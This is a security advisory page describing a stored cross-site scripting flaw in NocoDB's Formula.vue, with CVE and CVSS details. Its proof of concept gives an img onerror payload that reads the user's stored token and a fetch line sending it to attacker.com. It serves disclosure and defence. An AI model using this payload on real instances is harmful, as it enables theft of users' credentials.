Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1oNnI0LXh2dzYtamM1aM4AA74t

NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue

Summary

A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.

Details

The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.

PoC

Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T}
Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)
Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims
Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage

The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.

Impact

Stealing the credentials of NocoDB user that clicks the malicious link.

Permalink: https://github.com/advisories/GHSA-h6r4-xvw6-jc5h
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNnI0LXh2dzYtamM1aM4AA74t
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 7 months ago
Updated: 7 months ago

CVSS Score: 7.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Identifiers: GHSA-h6r4-xvw6-jc5h, CVE-2023-49781
References:

• https://github.com/nocodb/nocodb/security/advisories/GHSA-h6r4-xvw6-jc5h
• https://github.com/nocodb/nocodb/commit/7f58ce3726dfec71537d8b80474a0f95a48a1574
• https://nvd.nist.gov/vuln/detail/CVE-2023-49781
• https://github.com/advisories/GHSA-h6r4-xvw6-jc5h

Repository: https://github.com/nocodb/nocodb
Blast Radius: 12.3

Affected Packages